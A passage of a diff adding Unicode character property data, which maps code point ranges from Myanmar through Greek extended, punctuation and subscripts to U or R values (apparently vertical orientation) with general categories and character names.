+1050..1055 ; R # Lo [6] MYANMAR LETTER SHA..MYANMAR LETTER VOCALIC LL
+1056..1057 ; R # Mc [2] MYANMAR VOWEL SIGN VOCALIC R..MYANMAR VOWEL SIGN VOCALIC RR
+1058..1059 ; R # Mn [2] MYANMAR VOWEL SIGN VOCALIC L..MYANMAR VOWEL SIGN VOCALIC LL
+105A..105D ; R # Lo [4] MYANMAR LETTER MON NGA..MYANMAR LETTER MON BBE
+105E..1060 ; R # Mn [3] MYANMAR CONSONANT SIGN MON MEDIAL NA..MYANMAR CONSONANT SIGN MON MEDIAL LA
+1061 ; R # Lo MYANMAR LETTER SGAW KAREN SHA
+1062..1064 ; R # Mc [3] MYANMAR VOWEL SIGN SGAW KAREN EU..MYANMAR TONE MARK SGAW KAREN KE PHO
+1065..1066 ; R # Lo [2] MYANMAR LETTER WESTERN PWO KAREN THA..MYANMAR LETTER WESTERN PWO KAREN PWA
+1067..106D ; R # Mc [7] MYANMAR VOWEL SIGN WESTERN PWO KAREN EU..MYANMAR SIGN WESTERN PWO KAREN TONE-5
+106E..1070 ; R # Lo [3] MYANMAR LETTER EASTERN PWO KAREN NNA..MYANMAR LETTER EASTERN PWO KAREN GHWA
+1071..1074 ; R # Mn [4] MYANMAR VOWEL SIGN GEBA KAREN I..MYANMAR VOWEL SIGN KAYAH EE
+1075..1081 ; R # Lo [13] MYANMAR LETTER SHAN KA..MYANMAR LETTER SHAN HA
+1082 ; R # Mn MYANMAR CONSONANT SIGN SHAN MEDIAL WA
+1083..1084 ; R # Mc [2] MYANMAR VOWEL SIGN SHAN AA..MYANMAR VOWEL SIGN SHAN E
+1085..1086 ; R # Mn [2] MYANMAR VOWEL SIGN SHAN E ABOVE..MYANMAR VOWEL SIGN SHAN FINAL Y
+1087..108C ; R # Mc [6] MYANMAR SIGN SHAN TONE-2..MYANMAR SIGN SHAN COUNCIL TONE-3
+108D ; R # Mn MYANMAR SIGN SHAN COUNCIL EMPHATIC TONE
+108E ; R # Lo MYANMAR LETTER RUMAI PALAUNG FA
+108F ; R # Mc MYANMAR SIGN RUMAI PALAUNG TONE-5
+1090..1099 ; R # Nd [10] MYANMAR SHAN DIGIT ZERO..MYANMAR SHAN DIGIT NINE
+109A..109C ; R # Mc [3] MYANMAR SIGN KHAMTI TONE-1..MYANMAR VOWEL SIGN AITON A
+109D ; R # Mn MYANMAR VOWEL SIGN AITON AI
+109E..109F ; R # So [2] MYANMAR SYMBOL SHAN ONE..MYANMAR SYMBOL SHAN EXCLAMATION
+10A0..10C5 ; R # Lu [38] GEORGIAN CAPITAL LETTER AN..GEORGIAN CAPITAL LETTER HOE
+10C7 ; R # Lu GEORGIAN CAPITAL LETTER YN
+10CD ; R # Lu GEORGIAN CAPITAL LETTER AEN
+10D0..10FA ; R # Lo [43] GEORGIAN LETTER AN..GEORGIAN LETTER AIN
+10FB ; R # Po GEORGIAN PARAGRAPH SEPARATOR
+10FC ; R # Lm MODIFIER LETTER GEORGIAN NAR
+10FD..10FF ; R # Lo [3] GEORGIAN LETTER AEN..GEORGIAN LETTER LABIAL SIGN
+1100..11FF ; U # Lo [256] HANGUL CHOSEONG KIYEOK..HANGUL JONGSEONG SSANGNIEUN
+1200..1248 ; R # Lo [73] ETHIOPIC SYLLABLE HA..ETHIOPIC SYLLABLE QWA
+124A..124D ; R # Lo [4] ETHIOPIC SYLLABLE QWI..ETHIOPIC SYLLABLE QWE
+1250..1256 ; R # Lo [7] ETHIOPIC SYLLABLE QHA..ETHIOPIC SYLLABLE QHO
+1258 ; R # Lo ETHIOPIC SYLLABLE QHWA
+125A..125D ; R # Lo [4] ETHIOPIC SYLLABLE QHWI..ETHIOPIC SYLLABLE QHWE
+1260..1288 ; R # Lo [41] ETHIOPIC SYLLABLE BA..ETHIOPIC SYLLABLE XWA
+128A..128D ; R # Lo [4] ETHIOPIC SYLLABLE XWI..ETHIOPIC SYLLABLE XWE
+1290..12B0 ; R # Lo [33] ETHIOPIC SYLLABLE NA..ETHIOPIC SYLLABLE KWA
+12B2..12B5 ; R # Lo [4] ETHIOPIC SYLLABLE KWI..ETHIOPIC SYLLABLE KWE
+12B8..12BE ; R # Lo [7] ETHIOPIC SYLLABLE KXA..ETHIOPIC SYLLABLE KXO
+12C0 ; R # Lo ETHIOPIC SYLLABLE KXWA
+12C2..12C5 ; R # Lo [4] ETHIOPIC SYLLABLE KXWI..ETHIOPIC SYLLABLE KXWE
+12C8..12D6 ; R # Lo [15] ETHIOPIC SYLLABLE WA..ETHIOPIC SYLLABLE PHARYNGEAL O
+12D8..1310 ; R # Lo [57] ETHIOPIC SYLLABLE ZA..ETHIOPIC SYLLABLE GWA
+1312..1315 ; R # Lo [4] ETHIOPIC SYLLABLE GWI..ETHIOPIC SYLLABLE GWE
+1318..135A ; R # Lo [67] ETHIOPIC SYLLABLE GGA..ETHIOPIC SYLLABLE FYA
+135D..135F ; R # Mn [3] ETHIOPIC COMBINING GEMINATION AND VOWEL LENGTH MARK..ETHIOPIC COMBINING GEMINATION MARK
+1360..1368 ; R # Po [9] ETHIOPIC SECTION MARK..ETHIOPIC PARAGRAPH SEPARATOR
+1369..137C ; R # No [20] ETHIOPIC DIGIT ONE..ETHIOPIC NUMBER TEN THOUSAND
+1380..138F ; R # Lo [16] ETHIOPIC SYLLABLE SEBATBEIT MWA..ETHIOPIC SYLLABLE PWE
+1390..1399 ; R # So [10] ETHIOPIC TONAL MARK YIZET..ETHIOPIC TONAL MARK KURT
+13A0..13F5 ; R # Lu [86] CHEROKEE LETTER A..CHEROKEE LETTER MV
+13F8..13FD ; R # Ll [6] CHEROKEE SMALL LETTER YE..CHEROKEE SMALL LETTER MV
+1400 ; R # Pd CANADIAN SYLLABICS HYPHEN
+1401..166C ; U # Lo [620] CANADIAN SYLLABICS E..CANADIAN SYLLABICS CARRIER TTSA
+166D..166E ; U # Po [2] CANADIAN SYLLABICS CHI SIGN..CANADIAN SYLLABICS FULL STOP
+166F..167F ; U # Lo [17] CANADIAN SYLLABICS QAI..CANADIAN SYLLABICS BLACKFOOT W
+1680 ; R # Zs OGHAM SPACE MARK
+1681..169A ; R # Lo [26] OGHAM LETTER BEITH..OGHAM LETTER PEITH
+169B ; R # Ps OGHAM FEATHER MARK
+169C ; R # Pe OGHAM REVERSED FEATHER MARK
+16A0..16EA ; R # Lo [75] RUNIC LETTER FEHU FEOH FE F..RUNIC LETTER X
+16EB..16ED ; R # Po [3] RUNIC SINGLE PUNCTUATION..RUNIC CROSS PUNCTUATION
+16EE..16F0 ; R # Nl [3] RUNIC ARLAUG SYMBOL..RUNIC BELGTHOR SYMBOL
+16F1..16F8 ; R # Lo [8] RUNIC LETTER K..RUNIC LETTER FRANKS CASKET AESC
+1700..170C ; R # Lo [13] TAGALOG LETTER A..TAGALOG LETTER YA
+170E..1711 ; R # Lo [4] TAGALOG LETTER LA..TAGALOG LETTER HA
+1712..1714 ; R # Mn [3] TAGALOG VOWEL SIGN I..TAGALOG SIGN VIRAMA
+1720..1731 ; R # Lo [18] HANUNOO LETTER A..HANUNOO LETTER HA
+1732..1734 ; R # Mn [3] HANUNOO VOWEL SIGN I..HANUNOO SIGN PAMUDPOD
+1735..1736 ; R # Po [2] PHILIPPINE SINGLE PUNCTUATION..PHILIPPINE DOUBLE PUNCTUATION
+1740..1751 ; R # Lo [18] BUHID LETTER A..BUHID LETTER HA
+1752..1753 ; R # Mn [2] BUHID VOWEL SIGN I..BUHID VOWEL SIGN U
+1760..176C ; R # Lo [13] TAGBANWA LETTER A..TAGBANWA LETTER YA
+176E..1770 ; R # Lo [3] TAGBANWA LETTER LA..TAGBANWA LETTER SA
+1772..1773 ; R # Mn [2] TAGBANWA VOWEL SIGN I..TAGBANWA VOWEL SIGN U
+1780..17B3 ; R # Lo [52] KHMER LETTER KA..KHMER INDEPENDENT VOWEL QAU
+17B4..17B5 ; R # Mn [2] KHMER VOWEL INHERENT AQ..KHMER VOWEL INHERENT AA
+17B6 ; R # Mc KHMER VOWEL SIGN AA
+17B7..17BD ; R # Mn [7] KHMER VOWEL SIGN I..KHMER VOWEL SIGN UA
+17BE..17C5 ; R # Mc [8] KHMER VOWEL SIGN OE..KHMER VOWEL SIGN AU
+17C6 ; R # Mn KHMER SIGN NIKAHIT
+17C7..17C8 ; R # Mc [2] KHMER SIGN REAHMUK..KHMER SIGN YUUKALEAPINTU
+17C9..17D3 ; R # Mn [11] KHMER SIGN MUUSIKATOAN..KHMER SIGN BATHAMASAT
+17D4..17D6 ; R # Po [3] KHMER SIGN KHAN..KHMER SIGN CAMNUC PII KUUH
+17D7 ; R # Lm KHMER SIGN LEK TOO
+17D8..17DA ; R # Po [3] KHMER SIGN BEYYAL..KHMER SIGN KOOMUUT
+17DB ; R # Sc KHMER CURRENCY SYMBOL RIEL
+17DC ; R # Lo KHMER SIGN AVAKRAHASANYA
+17DD ; R # Mn KHMER SIGN ATTHACAN
+17E0..17E9 ; R # Nd [10] KHMER DIGIT ZERO..KHMER DIGIT NINE
+17F0..17F9 ; R # No [10] KHMER SYMBOL LEK ATTAK SON..KHMER SYMBOL LEK ATTAK PRAM-BUON
+1800..1805 ; R # Po [6] MONGOLIAN BIRGA..MONGOLIAN FOUR DOTS
+1806 ; R # Pd MONGOLIAN TODO SOFT HYPHEN
+1807..180A ; R # Po [4] MONGOLIAN SIBE SYLLABLE BOUNDARY MARKER..MONGOLIAN NIRUGU
+180B..180D ; R # Mn [3] MONGOLIAN FREE VARIATION SELECTOR ONE..MONGOLIAN FREE VARIATION SELECTOR THREE
+180E ; R # Cf MONGOLIAN VOWEL SEPARATOR
+1810..1819 ; R # Nd [10] MONGOLIAN DIGIT ZERO..MONGOLIAN DIGIT NINE
+1820..1842 ; R # Lo [35] MONGOLIAN LETTER A..MONGOLIAN LETTER CHI
+1843 ; R # Lm MONGOLIAN LETTER TODO LONG VOWEL SIGN
+1844..1877 ; R # Lo [52] MONGOLIAN LETTER TODO E..MONGOLIAN LETTER MANCHU ZHA
+1880..1884 ; R # Lo [5] MONGOLIAN LETTER ALI GALI ANUSVARA ONE..MONGOLIAN LETTER ALI GALI INVERTED UBADAMA
+1885..1886 ; R # Mn [2] MONGOLIAN LETTER ALI GALI BALUDA..MONGOLIAN LETTER ALI GALI THREE BALUDA
+1887..18A8 ; R # Lo [34] MONGOLIAN LETTER ALI GALI A..MONGOLIAN LETTER MANCHU ALI GALI BHA
+18A9 ; R # Mn MONGOLIAN LETTER ALI GALI DAGALGA
+18AA ; R # Lo MONGOLIAN LETTER MANCHU ALI GALI LHA
+18B0..18F5 ; U # Lo [70] CANADIAN SYLLABICS OY..CANADIAN SYLLABICS CARRIER DENTAL S
+18F6..18FF ; U # Cn [10] <reserved-18F6>..<reserved-18FF>
+1900..191E ; R # Lo [31] LIMBU VOWEL-CARRIER LETTER..LIMBU LETTER TRA
+1920..1922 ; R # Mn [3] LIMBU VOWEL SIGN A..LIMBU VOWEL SIGN U
+1923..1926 ; R # Mc [4] LIMBU VOWEL SIGN EE..LIMBU VOWEL SIGN AU
+1927..1928 ; R # Mn [2] LIMBU VOWEL SIGN E..LIMBU VOWEL SIGN O
+1929..192B ; R # Mc [3] LIMBU SUBJOINED LETTER YA..LIMBU SUBJOINED LETTER WA
+1930..1931 ; R # Mc [2] LIMBU SMALL LETTER KA..LIMBU SMALL LETTER NGA
+1932 ; R # Mn LIMBU SMALL LETTER ANUSVARA
+1933..1938 ; R # Mc [6] LIMBU SMALL LETTER TA..LIMBU SMALL LETTER LA
+1939..193B ; R # Mn [3] LIMBU SIGN MUKPHRENG..LIMBU SIGN SA-I
+1940 ; R # So LIMBU SIGN LOO
+1944..1945 ; R # Po [2] LIMBU EXCLAMATION MARK..LIMBU QUESTION MARK
+1946..194F ; R # Nd [10] LIMBU DIGIT ZERO..LIMBU DIGIT NINE
+1950..196D ; R # Lo [30] TAI LE LETTER KA..TAI LE LETTER AI
+1970..1974 ; R # Lo [5] TAI LE LETTER TONE-2..TAI LE LETTER TONE-6
+1980..19AB ; R # Lo [44] NEW TAI LUE LETTER HIGH QA..NEW TAI LUE LETTER LOW SUA
+19B0..19C9 ; R # Lo [26] NEW TAI LUE VOWEL SIGN VOWEL SHORTENER..NEW TAI LUE TONE MARK-2
+19D0..19D9 ; R # Nd [10] NEW TAI LUE DIGIT ZERO..NEW TAI LUE DIGIT NINE
+19DA ; R # No NEW TAI LUE THAM DIGIT ONE
+19DE..19DF ; R # So [2] NEW TAI LUE SIGN LAE..NEW TAI LUE SIGN LAEV
+19E0..19FF ; R # So [32] KHMER SYMBOL PATHAMASAT..KHMER SYMBOL DAP-PRAM ROC
+1A00..1A16 ; R # Lo [23] BUGINESE LETTER KA..BUGINESE LETTER HA
+1A17..1A18 ; R # Mn [2] BUGINESE VOWEL SIGN I..BUGINESE VOWEL SIGN U
+1A19..1A1A ; R # Mc [2] BUGINESE VOWEL SIGN E..BUGINESE VOWEL SIGN O
+1A1B ; R # Mn BUGINESE VOWEL SIGN AE
+1A1E..1A1F ; R # Po [2] BUGINESE PALLAWA..BUGINESE END OF SECTION
+1A20..1A54 ; R # Lo [53] TAI THAM LETTER HIGH KA..TAI THAM LETTER GREAT SA
+1A55 ; R # Mc TAI THAM CONSONANT SIGN MEDIAL RA
+1A56 ; R # Mn TAI THAM CONSONANT SIGN MEDIAL LA
+1A57 ; R # Mc TAI THAM CONSONANT SIGN LA TANG LAI
+1A58..1A5E ; R # Mn [7] TAI THAM SIGN MAI KANG LAI..TAI THAM CONSONANT SIGN SA
+1A60 ; R # Mn TAI THAM SIGN SAKOT
+1A61 ; R # Mc TAI THAM VOWEL SIGN A
+1A62 ; R # Mn TAI THAM VOWEL SIGN MAI SAT
+1A63..1A64 ; R # Mc [2] TAI THAM VOWEL SIGN AA..TAI THAM VOWEL SIGN TALL AA
+1A65..1A6C ; R # Mn [8] TAI THAM VOWEL SIGN I..TAI THAM VOWEL SIGN OA BELOW
+1A6D..1A72 ; R # Mc [6] TAI THAM VOWEL SIGN OY..TAI THAM VOWEL SIGN THAM AI
+1A73..1A7C ; R # Mn [10] TAI THAM VOWEL SIGN OA ABOVE..TAI THAM SIGN KHUEN-LUE KARAN
+1A7F ; R # Mn TAI THAM COMBINING CRYPTOGRAMMIC DOT
+1A80..1A89 ; R # Nd [10] TAI THAM HORA DIGIT ZERO..TAI THAM HORA DIGIT NINE
+1A90..1A99 ; R # Nd [10] TAI THAM THAM DIGIT ZERO..TAI THAM THAM DIGIT NINE
+1AA0..1AA6 ; R # Po [7] TAI THAM SIGN WIANG..TAI THAM SIGN REVERSED ROTATED RANA
+1AA7 ; R # Lm TAI THAM SIGN MAI YAMOK
+1AA8..1AAD ; R # Po [6] TAI THAM SIGN KAAN..TAI THAM SIGN CAANG
+1AB0..1ABD ; R # Mn [14] COMBINING DOUBLED CIRCUMFLEX ACCENT..COMBINING PARENTHESES BELOW
+1ABE ; R # Me COMBINING PARENTHESES OVERLAY
+1B00..1B03 ; R # Mn [4] BALINESE SIGN ULU RICEM..BALINESE SIGN SURANG
+1B04 ; R # Mc BALINESE SIGN BISAH
+1B05..1B33 ; R # Lo [47] BALINESE LETTER AKARA..BALINESE LETTER HA
+1B34 ; R # Mn BALINESE SIGN REREKAN
+1B35 ; R # Mc BALINESE VOWEL SIGN TEDUNG
+1B36..1B3A ; R # Mn [5] BALINESE VOWEL SIGN ULU..BALINESE VOWEL SIGN RA REPA
+1B3B ; R # Mc BALINESE VOWEL SIGN RA REPA TEDUNG
+1B3C ; R # Mn BALINESE VOWEL SIGN LA LENGA
+1B3D..1B41 ; R # Mc [5] BALINESE VOWEL SIGN LA LENGA TEDUNG..BALINESE VOWEL SIGN TALING REPA TEDUNG
+1B42 ; R # Mn BALINESE VOWEL SIGN PEPET
+1B43..1B44 ; R # Mc [2] BALINESE VOWEL SIGN PEPET TEDUNG..BALINESE ADEG ADEG
+1B45..1B4B ; R # Lo [7] BALINESE LETTER KAF SASAK..BALINESE LETTER ASYURA SASAK
+1B50..1B59 ; R # Nd [10] BALINESE DIGIT ZERO..BALINESE DIGIT NINE
+1B5A..1B60 ; R # Po [7] BALINESE PANTI..BALINESE PAMENENG
+1B61..1B6A ; R # So [10] BALINESE MUSICAL SYMBOL DONG..BALINESE MUSICAL SYMBOL DANG GEDE
+1B6B..1B73 ; R # Mn [9] BALINESE MUSICAL SYMBOL COMBINING TEGEH..BALINESE MUSICAL SYMBOL COMBINING GONG
+1B74..1B7C ; R # So [9] BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DUG..BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
+1B80..1B81 ; R # Mn [2] SUNDANESE SIGN PANYECEK..SUNDANESE SIGN PANGLAYAR
+1B82 ; R # Mc SUNDANESE SIGN PANGWISAD
+1B83..1BA0 ; R # Lo [30] SUNDANESE LETTER A..SUNDANESE LETTER HA
+1BA1 ; R # Mc SUNDANESE CONSONANT SIGN PAMINGKAL
+1BA2..1BA5 ; R # Mn [4] SUNDANESE CONSONANT SIGN PANYAKRA..SUNDANESE VOWEL SIGN PANYUKU
+1BA6..1BA7 ; R # Mc [2] SUNDANESE VOWEL SIGN PANAELAENG..SUNDANESE VOWEL SIGN PANOLONG
+1BA8..1BA9 ; R # Mn [2] SUNDANESE VOWEL SIGN PAMEPET..SUNDANESE VOWEL SIGN PANEULEUNG
+1BAA ; R # Mc SUNDANESE SIGN PAMAAEH
+1BAB..1BAD ; R # Mn [3] SUNDANESE SIGN VIRAMA..SUNDANESE CONSONANT SIGN PASANGAN WA
+1BAE..1BAF ; R # Lo [2] SUNDANESE LETTER KHA..SUNDANESE LETTER SYA
+1BB0..1BB9 ; R # Nd [10] SUNDANESE DIGIT ZERO..SUNDANESE DIGIT NINE
+1BBA..1BBF ; R # Lo [6] SUNDANESE AVAGRAHA..SUNDANESE LETTER FINAL M
+1BC0..1BE5 ; R # Lo [38] BATAK LETTER A..BATAK LETTER U
+1BE6 ; R # Mn BATAK SIGN TOMPI
+1BE7 ; R # Mc BATAK VOWEL SIGN E
+1BE8..1BE9 ; R # Mn [2] BATAK VOWEL SIGN PAKPAK E..BATAK VOWEL SIGN EE
+1BEA..1BEC ; R # Mc [3] BATAK VOWEL SIGN I..BATAK VOWEL SIGN O
+1BED ; R # Mn BATAK VOWEL SIGN KARO O
+1BEE ; R # Mc BATAK VOWEL SIGN U
+1BEF..1BF1 ; R # Mn [3] BATAK VOWEL SIGN U FOR SIMALUNGUN SA..BATAK CONSONANT SIGN H
+1BF2..1BF3 ; R # Mc [2] BATAK PANGOLAT..BATAK PANONGONAN
+1BFC..1BFF ; R # Po [4] BATAK SYMBOL BINDU NA METEK..BATAK SYMBOL BINDU PANGOLAT
+1C00..1C23 ; R # Lo [36] LEPCHA LETTER KA..LEPCHA LETTER A
+1C24..1C2B ; R # Mc [8] LEPCHA SUBJOINED LETTER YA..LEPCHA VOWEL SIGN UU
+1C2C..1C33 ; R # Mn [8] LEPCHA VOWEL SIGN E..LEPCHA CONSONANT SIGN T
+1C34..1C35 ; R # Mc [2] LEPCHA CONSONANT SIGN NYIN-DO..LEPCHA CONSONANT SIGN KANG
+1C36..1C37 ; R # Mn [2] LEPCHA SIGN RAN..LEPCHA SIGN NUKTA
+1C3B..1C3F ; R # Po [5] LEPCHA PUNCTUATION TA-ROL..LEPCHA PUNCTUATION TSHOOK
+1C40..1C49 ; R # Nd [10] LEPCHA DIGIT ZERO..LEPCHA DIGIT NINE
+1C4D..1C4F ; R # Lo [3] LEPCHA LETTER TTA..LEPCHA LETTER DDA
+1C50..1C59 ; R # Nd [10] OL CHIKI DIGIT ZERO..OL CHIKI DIGIT NINE
+1C5A..1C77 ; R # Lo [30] OL CHIKI LETTER LA..OL CHIKI LETTER OH
+1C78..1C7D ; R # Lm [6] OL CHIKI MU TTUDDAG..OL CHIKI AHAD
+1C7E..1C7F ; R # Po [2] OL CHIKI PUNCTUATION MUCAAD..OL CHIKI PUNCTUATION DOUBLE MUCAAD
+1C80..1C88 ; R # Ll [9] CYRILLIC SMALL LETTER ROUNDED VE..CYRILLIC SMALL LETTER UNBLENDED UK
+1CC0..1CC7 ; R # Po [8] SUNDANESE PUNCTUATION BINDU SURYA..SUNDANESE PUNCTUATION BINDU BA SATANGA
+1CD0..1CD2 ; R # Mn [3] VEDIC TONE KARSHANA..VEDIC TONE PRENKHA
+1CD3 ; R # Po VEDIC SIGN NIHSHVASA
+1CD4..1CE0 ; R # Mn [13] VEDIC SIGN YAJURVEDIC MIDLINE SVARITA..VEDIC TONE RIGVEDIC KASHMIRI INDEPENDENT SVARITA
+1CE1 ; R # Mc VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA
+1CE2..1CE8 ; R # Mn [7] VEDIC SIGN VISARGA SVARITA..VEDIC SIGN VISARGA ANUDATTA WITH TAIL
+1CE9..1CEC ; R # Lo [4] VEDIC SIGN ANUSVARA ANTARGOMUKHA..VEDIC SIGN ANUSVARA VAMAGOMUKHA WITH TAIL
+1CED ; R # Mn VEDIC SIGN TIRYAK
+1CEE..1CF1 ; R # Lo [4] VEDIC SIGN HEXIFORM LONG ANUSVARA..VEDIC SIGN ANUSVARA UBHAYATO MUKHA
+1CF2..1CF3 ; R # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
+1CF4 ; R # Mn VEDIC TONE CANDRA ABOVE
+1CF5..1CF6 ; R # Lo [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA
+1CF7 ; R # Mc VEDIC SIGN ATIKRAMA
+1CF8..1CF9 ; R # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
+1D00..1D2B ; R # Ll [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL
+1D2C..1D6A ; R # Lm [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
+1D6B..1D77 ; R # Ll [13] LATIN SMALL LETTER UE..LATIN SMALL LETTER TURNED G
+1D78 ; R # Lm MODIFIER LETTER CYRILLIC EN
+1D79..1D7F ; R # Ll [7] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER UPSILON WITH STROKE
+1D80..1D9A ; R # Ll [27] LATIN SMALL LETTER B WITH PALATAL HOOK..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK
+1D9B..1DBF ; R # Lm [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA
+1DC0..1DF9 ; R # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
+1DFB..1DFF ; R # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
+1E00..1EFF ; R # L& [256] LATIN CAPITAL LETTER A WITH RING BELOW..LATIN SMALL LETTER Y WITH LOOP
+1F00..1F15 ; R # L& [22] GREEK SMALL LETTER ALPHA WITH PSILI..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
+1F18..1F1D ; R # Lu [6] GREEK CAPITAL LETTER EPSILON WITH PSILI..GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA
+1F20..1F45 ; R # L& [38] GREEK SMALL LETTER ETA WITH PSILI..GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA
+1F48..1F4D ; R # Lu [6] GREEK CAPITAL LETTER OMICRON WITH PSILI..GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA
+1F50..1F57 ; R # Ll [8] GREEK SMALL LETTER UPSILON WITH PSILI..GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI
+1F59 ; R # Lu GREEK CAPITAL LETTER UPSILON WITH DASIA
+1F5B ; R # Lu GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA
+1F5D ; R # Lu GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA
+1F5F..1F7D ; R # L& [31] GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI..GREEK SMALL LETTER OMEGA WITH OXIA
+1F80..1FB4 ; R # L& [53] GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI..GREEK SMALL LETTER ALPHA WITH OXIA AND YPOGEGRAMMENI
+1FB6..1FBC ; R # L& [7] GREEK SMALL LETTER ALPHA WITH PERISPOMENI..GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI
+1FBD ; R # Sk GREEK KORONIS
+1FBE ; R # Ll GREEK PROSGEGRAMMENI
+1FBF..1FC1 ; R # Sk [3] GREEK PSILI..GREEK DIALYTIKA AND PERISPOMENI
+1FC2..1FC4 ; R # Ll [3] GREEK SMALL LETTER ETA WITH VARIA AND YPOGEGRAMMENI..GREEK SMALL LETTER ETA WITH OXIA AND YPOGEGRAMMENI
+1FC6..1FCC ; R # L& [7] GREEK SMALL LETTER ETA WITH PERISPOMENI..GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI
+1FCD..1FCF ; R # Sk [3] GREEK PSILI AND VARIA..GREEK PSILI AND PERISPOMENI
+1FD0..1FD3 ; R # Ll [4] GREEK SMALL LETTER IOTA WITH VRACHY..GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA
+1FD6..1FDB ; R # L& [6] GREEK SMALL LETTER IOTA WITH PERISPOMENI..GREEK CAPITAL LETTER IOTA WITH OXIA
+1FDD..1FDF ; R # Sk [3] GREEK DASIA AND VARIA..GREEK DASIA AND PERISPOMENI
+1FE0..1FEC ; R # L& [13] GREEK SMALL LETTER UPSILON WITH VRACHY..GREEK CAPITAL LETTER RHO WITH DASIA
+1FED..1FEF ; R # Sk [3] GREEK DIALYTIKA AND VARIA..GREEK VARIA
+1FF2..1FF4 ; R # Ll [3] GREEK SMALL LETTER OMEGA WITH VARIA AND YPOGEGRAMMENI..GREEK SMALL LETTER OMEGA WITH OXIA AND YPOGEGRAMMENI
+1FF6..1FFC ; R # L& [7] GREEK SMALL LETTER OMEGA WITH PERISPOMENI..GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI
+1FFD..1FFE ; R # Sk [2] GREEK OXIA..GREEK DASIA
+2000..200A ; R # Zs [11] EN QUAD..HAIR SPACE
+200B..200F ; R # Cf [5] ZERO WIDTH SPACE..RIGHT-TO-LEFT MARK
+2010..2015 ; R # Pd [6] HYPHEN..HORIZONTAL BAR
+2016 ; U # Po DOUBLE VERTICAL LINE
+2017 ; R # Po DOUBLE LOW LINE
+2018 ; R # Pi LEFT SINGLE QUOTATION MARK
+2019 ; R # Pf RIGHT SINGLE QUOTATION MARK
+201A ; R # Ps SINGLE LOW-9 QUOTATION MARK
+201B..201C ; R # Pi [2] SINGLE HIGH-REVERSED-9 QUOTATION MARK..LEFT DOUBLE QUOTATION MARK
+201D ; R # Pf RIGHT DOUBLE QUOTATION MARK
+201E ; R # Ps DOUBLE LOW-9 QUOTATION MARK
+201F ; R # Pi DOUBLE HIGH-REVERSED-9 QUOTATION MARK
+2020..2021 ; U # Po [2] DAGGER..DOUBLE DAGGER
+2022..2027 ; R # Po [6] BULLET..HYPHENATION POINT
+2028 ; R # Zl LINE SEPARATOR
+2029 ; R # Zp PARAGRAPH SEPARATOR
+202A..202E ; R # Cf [5] LEFT-TO-RIGHT EMBEDDING..RIGHT-TO-LEFT OVERRIDE
+202F ; R # Zs NARROW NO-BREAK SPACE
+2030..2031 ; U # Po [2] PER MILLE SIGN..PER TEN THOUSAND SIGN
+2032..2038 ; R # Po [7] PRIME..CARET
+2039 ; R # Pi SINGLE LEFT-POINTING ANGLE QUOTATION MARK
+203A ; R # Pf SINGLE RIGHT-POINTING ANGLE QUOTATION MARK
+203B..203C ; U # Po [2] REFERENCE MARK..DOUBLE EXCLAMATION MARK
+203D..203E ; R # Po [2] INTERROBANG..OVERLINE
+203F..2040 ; R # Pc [2] UNDERTIE..CHARACTER TIE
+2041 ; R # Po CARET INSERTION POINT
+2042 ; U # Po ASTERISM
+2043 ; R # Po HYPHEN BULLET
+2044 ; R # Sm FRACTION SLASH
+2045 ; R # Ps LEFT SQUARE BRACKET WITH QUILL
+2046 ; R # Pe RIGHT SQUARE BRACKET WITH QUILL
+2047..2049 ; U # Po [3] DOUBLE QUESTION MARK..EXCLAMATION QUESTION MARK
+204A..2050 ; R # Po [7] TIRONIAN SIGN ET..CLOSE UP
+2051 ; U # Po TWO ASTERISKS ALIGNED VERTICALLY
+2052 ; R # Sm COMMERCIAL MINUS SIGN
+2053 ; R # Po SWUNG DASH
+2054 ; R # Pc INVERTED UNDERTIE
+2055..205E ; R # Po [10] FLOWER PUNCTUATION MARK..VERTICAL FOUR DOTS
+205F ; R # Zs MEDIUM MATHEMATICAL SPACE
+2060..2064 ; R # Cf [5] WORD JOINER..INVISIBLE PLUS
+2065 ; U # Cn <reserved-2065>
+2066..206F ; R # Cf [10] LEFT-TO-RIGHT ISOLATE..NOMINAL DIGIT SHAPES
+2070 ; R # No SUPERSCRIPT ZERO
+2071 ; R # Lm SUPERSCRIPT LATIN SMALL LETTER I
+2074..2079 ; R # No [6] SUPERSCRIPT FOUR..SUPERSCRIPT NINE
+207A..207C ; R # Sm [3] SUPERSCRIPT PLUS SIGN..SUPERSCRIPT EQUALS SIGN
+207D ; R # Ps SUPERSCRIPT LEFT PARENTHESIS
+207E ; R # Pe SUPERSCRIPT RIGHT PARENTHESIS
+207F ; R # Lm SUPERSCRIPT LATIN SMALL LETTER N
+2080..2089 ; R # No [10] SUBSCRIPT ZERO..SUBSCRIPT NINE
+208A..208C ; R # Sm [3] SUBSCRIPT PLUS SIGN..SUBSCRIPT EQUALS SIGN
+208D ; R # Ps SUBSCRIPT LEFT PARENTHESIS
